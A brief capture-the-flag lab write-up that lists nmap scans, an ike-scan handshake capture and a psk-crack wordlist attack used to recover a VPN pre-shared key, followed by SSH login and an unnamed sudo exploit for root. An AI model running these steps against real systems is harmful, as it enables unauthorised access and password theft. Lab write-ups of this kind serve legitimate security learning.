Using nmap, I found port 22/TCP open.
nmap -p- --open -vvv -n -Pn -T5 10.129.238.52 -oG allPorts.txt
And also port 500/UDP.
nmap -p- --open -vvv -sU -n -Pn -T5 10.129.238.52 -oG allPorts.txt

Using ikes-can I obtained the handshake.
ike-scan -A 10.129.238.52 --pskcrack=handshake.txt
Now, using psk-crack I cracked the password.
psk-crack -d /usr/share/wordlists/rockyou.txt hanshake.txt
Using this password, I log as ike with ssh.

I found that the sudo version is vulnerable.
Using a exploit, I get a root shell.
